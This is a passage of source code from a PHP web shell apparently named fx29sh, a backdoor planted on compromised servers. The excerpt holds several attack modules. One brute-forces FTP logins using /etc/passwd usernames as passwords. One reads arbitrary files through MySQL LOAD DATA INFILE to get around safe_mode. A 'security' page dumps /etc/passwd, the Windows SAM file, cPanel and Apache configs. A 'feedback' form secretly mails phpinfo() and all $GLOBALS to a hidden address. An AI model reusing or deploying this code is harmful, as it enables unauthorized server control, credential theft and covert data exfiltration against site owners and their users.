  954.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  955.    if (!empty($sql_act)) {
  956.     echo "<hr size=\"1\" noshade>";
  957.     if ($sql_act == "newdb") {
  958.      echo "<b>";
  959.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  960.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  961.     }
  962.     if ($sql_act == "serverstatus") {
  963.      $result = mysql_query("SHOW STATUS", $sql_sock);
  964.      echo "<center><b>Server-status variables:</b><br><br>";
  965.      echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  966.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  967.      echo "</table></center>";
  968.      mysql_free_result($result);
  969.     }
  970.     if ($sql_act == "servervars") {
  971.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  972.      echo "<center><b>Server variables:</b><br><br>";
  973.      echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  974.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  975.      echo "</table>";
  976.      mysql_free_result($result);
  977.     }
  978.     if ($sql_act == "processes") {
  979.      if (!empty($kill)) {
  980.        $query = "KILL ".$kill.";";
  981.        $result = mysql_query($query, $sql_sock);
  982.        echo "<b>Process #".$kill." was killed.</b>";
  983.      }
  984.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  985.      echo "<center><b>Processes:</b><br><br>";
  986.      echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  987.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  988.      echo "</table>";
  989.      mysql_free_result($result);
  990.     }
  991.     if ($sql_act == "getfile")
  992.     {
  993.      $tmpdb = $sql_login."_tmpdb";
  994.      $select = mysql_select_db($tmpdb);
  995.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  996.      if ($select)
  997.      {
  998.       $created = FALSE;
  999.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1000.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1001.       $result = mysql_query("SELECT * FROM tmp_file;");
  1002.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1003.       else
  1004.       {
  1005.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1006.        $f = "";
  1007.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1008.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1009.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1010.        mysql_free_result($result);
  1011.        mysql_query("DROP TABLE tmp_file;");
  1012.       }
  1013.      }
  1014.      mysql_drop_db($tmpdb);
  1015.     }
  1016.    }
  1017.   }
  1018. }
  1019. echo "</td></tr></table>\n";
  1020. if ($sql_sock) {
  1021.   $affected = @mysql_affected_rows($sql_sock);
  1022.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1023.   echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
  1024. }
  1025. echo "</table>\n";
  1026. }
  1027. //End of SQL Manager
  1028. if ($act == "ftpquickbrute") {
  1029. echo "<center><table><tr><td class=barheader colspan=2>";
  1030. echo ".: Ftp Quick Brute :.</td></tr>";
  1031. echo "<tr><td>";
  1032. if ($win) { echo "Can't run on Windows!"; }
  1033. else {
  1034.   function fx29ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
  1035.     if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  1036.     else {$TRUE = TRUE;}
  1037.     if ($TRUE) {
  1038.       $sock = @ftp_connect($host,$port,$timeout);
  1039.       if (@ftp_login($sock,$login,$pass)) {
  1040.         echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1041.         ob_flush();
  1042.         return TRUE;
  1043.       }
  1044.     }
  1045.   }
  1046.   if (!empty($submit)) {
  1047.     if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1048.     $fp = fopen("/etc/passwd","r");
  1049.     if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1050.     else {
  1051.       if ($fqb_logging) {
  1052.         if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1053.         else {$fqb_logfp = FALSE;}
  1054.         $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1055.         if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1056.       }
  1057.       ob_flush();
  1058.       $i = $success = 0;
  1059.       $ftpquick_st = getmicrotime();
  1060.       while(!feof($fp)) {
  1061.         $str = explode(":",fgets($fp,2048));
  1062.         if (fx29ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
  1063.           echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1064.           $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1065.           if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1066.           $success++;
  1067.           ob_flush();
  1068.         }
  1069.         if ($i > $fqb_lenght) {break;}
  1070.         $i++;
  1071.       }
  1072.       if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1073.       $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1074.       echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1075.       $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1076.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1077.       if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
  1078.       fclose($fqb_logfp);
  1079.     }
  1080.   }
  1081.   else {
  1082.     $logfile = $tmpdir_logs."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1083.     $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1084.     echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".
  1085.          "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
  1086.          "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
  1087.          "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
  1088.          "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
  1089.          "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
  1090.          "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
  1091.   }
  1092.   echo "</td></tr></table></center>";
  1093. }
  1094. }
  1095. if ($act == "d") {
  1096.   if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
  1097.   else {
  1098.     echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1099.     if (!$win) {
  1100.       echo "<tr><td><b>Owner/Group</b></td><td> ";
  1101.       $ow = posix_getpwuid(fileowner($d));
  1102.       $gr = posix_getgrgid(filegroup($d));
  1103.       $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1104.     }
  1105.     echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
  1106.   }
  1107. }
  1108. if ($act == "phpinfo") {@ob_clean(); phpinfo(); fx29shexit();}
  1109. if ($act == "security") {
  1110.   echo "<div class=barheader>.: Server Security Information :.</div>\n".
  1111.        "<table>\n".
  1112.        "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n";
  1113.   echo "<td>Password File</td><td>";
  1114.   if (!$win) {
  1115.     if ($nixpasswd) {
  1116.       if ($nixpasswd == 1) {$nixpasswd = 0;}
  1117.       echo "*nix /etc/passwd:<br>";
  1118.       if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1119.       if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1120.       echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1121.       $i = $nixpwd_s;
  1122.       while ($i < $nixpwd_e) {
  1123.         $uid = posix_getpwuid($i);
  1124.         if ($uid) {
  1125.           $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1126.           echo join(":",$uid)."<br>";
  1127.         }
  1128.         $i++;
  1129.       }
  1130.     }
  1131.     else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";}
  1132.   }
  1133.   else {
  1134.     $v = $_SERVER["WINDIR"]."\repair\sam";
  1135.     if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>"; }
  1136.   }
  1137.   echo "</td></tr>\n";
  1138.   echo "<tr><td>Config Files</td><td>\n";
  1139.   if (!$win) {
  1140.     $v = array(
  1141.         array("User Domains","/etc/userdomains"),
  1142.         array("Cpanel Config","/var/cpanel/accounting.log"),
  1143.         array("Apache Config","/usr/local/apache/conf/httpd.conf"),
  1144.         array("Apache Config","/etc/httpd.conf"),
  1145.         array("Syslog Config","/etc/syslog.conf"),
  1146.         array("Message of The Day","/etc/motd"),
  1147.         array("Hosts","/etc/hosts")
  1148.     );
  1149.     $sep = "/";
  1150.   }
  1151.   else {
  1152.     $windir = $_SERVER["WINDIR"];
  1153.     $etcdir = $windir . "\system32\drivers\etc\\";
  1154.     $v = array(
  1155.         array("Hosts",$etcdir."hosts"),
  1156.         array("Local Network Map",$etcdir."networks"),
  1157.         array("LM Hosts",$etcdir."lmhosts.sam"),
  1158.     );
  1159.     $sep = "\\";
  1160.   }
  1161.   foreach ($v as $sec_arr) {
  1162.     $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
  1163.     $sec_d = rtrim($sec_arr[1],$sec_f);
  1164.     $sec_full = $sec_d.$sec_f;
  1165.     $sec_d = rtrim($sec_d,$sep);
  1166.     if (file_get_contents($sec_full)) {
  1167.       echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n";
  1168.     }
  1169.   }
  1170.   echo "</td></tr>";
  1171.  
  1172.   function displaysecinfo($name,$value) {
  1173.     if (!empty($value)) {
  1174.       echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>\n";
  1175.     }
  1176.   }
  1177.   if (!$win) {
  1178.     displaysecinfo("OS Version",fx29exec("cat /proc/version"));
  1179.     displaysecinfo("Kernel Version",fx29exec("sysctl -a | grep version"));
  1180.     displaysecinfo("Distrib Name",fx29exec("cat /etc/issue.net"));
  1181.     displaysecinfo("Distrib Name (2)",fx29exec("cat /etc/*-realise"));
  1182.     displaysecinfo("CPU Info",fx29exec("cat /proc/cpuinfo"));
  1183.     displaysecinfo("RAM",fx29exec("free -m"));
  1184.     displaysecinfo("HDD Space",fx29exec("df -h"));
  1185.     displaysecinfo("List of Attributes",fx29exec("lsattr -a"));
  1186.     displaysecinfo("Mount Options",fx29exec("cat /etc/fstab"));
  1187.     displaysecinfo("lynx installed?",fx29exec("which lynx"));
  1188.     displaysecinfo("links installed?",fx29exec("which links"));
  1189.     displaysecinfo("GET installed?",fx29exec("which GET"));
  1190.     displaysecinfo("Where is Apache?",fx29exec("whereis apache"));
  1191.     displaysecinfo("Where is perl?",fx29exec("whereis perl"));
  1192.     displaysecinfo("Locate proftpd.conf",fx29exec("locate proftpd.conf"));
  1193.     displaysecinfo("Locate httpd.conf",fx29exec("locate httpd.conf"));
  1194.     displaysecinfo("Locate my.conf",fx29exec("locate my.conf"));
  1195.     displaysecinfo("Locate psybnc.conf",fx29exec("locate psybnc.conf"));
  1196.   }
  1197.   else {
  1198.     displaysecinfo("OS Version",fx29exec("ver"));
  1199.     displaysecinfo("Account Settings",fx29exec("net accounts"));
  1200.     displaysecinfo("User Accounts",fx29exec("net user"));
  1201.   }
  1202.   echo "</table>\n";
  1203. }
  1204. if ($act == "mkfile") {
  1205.   if ($mkfile != $d) {
  1206.     if ($overwrite == 0) {
  1207.       if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); }
  1208.     }
  1209.     else {
  1210.       if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); }
  1211.       else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); }
  1212.     }
  1213.   }
  1214.   else { echo "<div class=fxerrmsg>Enter filename!</div>\r\n"; }
  1215. }
  1216. if ($act == "encoder") {
  1217. echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
  1218.      "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
  1219.      "<input type=hidden name=act value=encoder>".
  1220.      "<center><table class=contents>".
  1221.      "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
  1222.      "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
  1223.      "<input type=submit value=\"calculate\"></td></tr>".
  1224.      "<tr><td rowspan=4>Hashes:</td>";
  1225. foreach(array("md5","crypt","sha1","crc32") as $v) {
  1226.   echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
  1227. }
  1228. echo "</tr>".
  1229.      "<tr><td rowspan=2>Url:</td>".
  1230.      "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
  1231.      "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
  1232.      "<tr><td rowspan=2>Base64:</td>".
  1233.      "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
  1234.      "<tr><td>base64_decode:</td><td>";
  1235. if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
  1236. else {
  1237.   $debase64 = base64_decode($encoder_input);
  1238.   $debase64 = str_replace("\0","[0]",$debase64);
  1239.   $a = explode("\r\n",$debase64);
  1240.   $rows = count($a);
  1241.   $debase64 = htmlspecialchars($debase64);
  1242.   if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
  1243.   else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
  1244.   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
  1245. }
  1246. echo "</td></tr>".
  1247.      "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1248. $c = strlen($encoder_input);
  1249. for($i=0;$i<$c;$i++) {
  1250.   $hex = dechex(ord($encoder_input[$i]));
  1251.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1252.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1253. }
  1254. echo "\" readonly></td></tr></table></center></form>";
  1255. }
  1256. if ($act == "fsbuff") {
  1257.   $arr_copy = $sess_data["copy"];
  1258.   $arr_cut = $sess_data["cut"];
  1259.   $arr = array_merge($arr_copy,$arr_cut);
  1260.   if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
  1261.   else {
  1262.     $fx_infohead = "File-System Buffer";
  1263.     $ls_arr = $arr;
  1264.     $disp_fullpath = TRUE;
  1265.     $act = "ls";
  1266.   }
  1267. }
  1268. if ($act == "selfremove") {
  1269.   if (($submit == $rndcode) and ($submit != "")) {
  1270.     if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; fx29shexit(); }
  1271.     else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; }
  1272.   }
  1273.   else {
  1274.     if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
  1275.     $rnd = rand(0,9).rand(0,9).rand(0,9);
  1276.     echo "<form action=\"".$surl."\">\n".
  1277.          "<input type=hidden name=act value=selfremove>".
  1278.          "<input type=hidden name=rndcode value=\"".$rnd."\">".
  1279.          "<b>Kill-shell: ".__FILE__." <br>".
  1280.          "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=text name=submit>&nbsp;<input type=submit value=\"YES\">\n".
  1281.          "</form>\n";
  1282.   }
  1283. }
  1284. if ($act == "update") {
  1285.   $ret = fx29sh_getupdate(!!$confirmupdate);
  1286.   echo "<b>".$ret."</b>";
  1287.   if (stristr($ret,"new version")) {
  1288.     echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
  1289.   }
  1290. }
  1291. if ($act == "feedback") {
  1292.   $suppmail = base64_decode("Removed");
  1293.   if (!empty($submit)){
  1294.     $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  1295.     $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  1296.     if (!empty($fdbk_ref)) {
  1297.       $tmp = @ob_get_contents();
  1298.       ob_clean();
  1299.       phpinfo();
  1300.       $phpinfo = base64_encode(ob_get_contents());
  1301.       ob_clean();
  1302.       echo $tmp;
  1303.       $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  1304.     }
  1305.     mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail);
  1306.     echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  1307.   }
  1308.   else {
  1309.     echo "<form action=\"".$surl."\" method=POST>".
  1310.          "<input type=hidden name=act value=feedback>".
  1311.          "<table class=contents><tr><td class=barheader colspan=2>".
  1312.          ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.</td></tr>".
  1313.          "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".
  1314.          "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".
  1315.          "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".
  1316.          "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>".
  1317.          "*Language: English, Indonesian.</td></tr>".
  1318.          "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
  1319.          "</table>\n";
  1320.   }
  1321. }
  1322. if ($act == "fxmailer") {
  1323.   if (!empty($submit)){
  1324.     $headers = 'To: '.$dest_email."\r\n";
  1325.     $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
  1326.     if (mail($suppmail,$sender_subj,$sender_body,$header)) {
  1327.       echo "<center><b>Email sent!</b></center>";
  1328.     }
  1329.     else { echo "<center><b>Can't send email!</b></center>"; }
  1330.   }
  1331.   else {
  1332.     echo "<form action=\"".$surl."\" method=POST>".
  1333.          "<input type=hidden name=act value=fxmailer>".
  1334.          "<table class=contents><tr><td class=barheader colspan=2>".
  1335.          ".: $sh_name Mailer :.</td></tr>".
  1336.          "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
  1337.          "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
  1338.          "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
  1339.          "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
  1340.          "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
  1341.          "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
  1342.          "</table>\n";
  1343.   }
  1344. }
  1345. if ($act == "search") {
  1346.   echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
  1347.   if (empty($search_in)) {$search_in = $d;}
  1348.   if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1349.   if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1350.   if (!empty($submit)) {
  1351.     $found = array();
  1352.     $found_d = 0;
  1353.     $found_f = 0;
  1354.     $search_i_f = 0;
  1355.     $search_i_d = 0;
  1356.     $a = array(
  1357.         "name"=>$search_name,
  1358.         "name_regexp"=>$search_name_regexp,
  1359.         "text"=>$search_text,
  1360.         "text_regexp"=>$search_text_regxp,
  1361.         "text_wwo"=>$search_text_wwo,
  1362.         "text_cs"=>$search_text_cs,
  1363.         "text_not"=>$search_text_not
  1364.     );
  1365.     $searchtime = getmicrotime();
  1366.     $in = array_unique(explode(";",$search_in));
  1367.     foreach($in as $v) {fx29fsearch($v);}
  1368.     $searchtime = round(getmicrotime()-$searchtime,4);
  1369.     if (count($found) == 0) {echo "No files found!";}
  1370.     else {
  1371.       $ls_arr = $found;
  1372.       $disp_fullpath = TRUE;
  1373.       $act = "ls";
  1374.     }
  1375.   }
  1376.   echo "<table class=contents>".
  1377.        "<tr><td><form method=POST>".
  1378.        "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">".
  1379.        "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
  1380.        "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
  1381.        "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
  1382.        "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
  1383.        "  <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
  1384.        "  <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
  1385.        "  <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
  1386.        "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
  1387.        "</table>\n";
  1388.   if ($act == "ls") {
  1389.     $dspact = $act;
  1390.     echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
  1391.          "<hr size=\"1\" noshade>";
  1392.   }
  1393. }
  1394. if ($act == "chmod") {
  1395.   $mode = fileperms($d.$f);
  1396.   if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1397.   else {
  1398.     $form = TRUE;
  1399.     if ($chmod_submit) {
  1400.       $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  1401.       if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
  1402.       else {$err = "Can't chmod to ".$octet.".";}
  1403.     }
  1404.     if ($form) {
  1405.       $perms = parse_perms($mode);
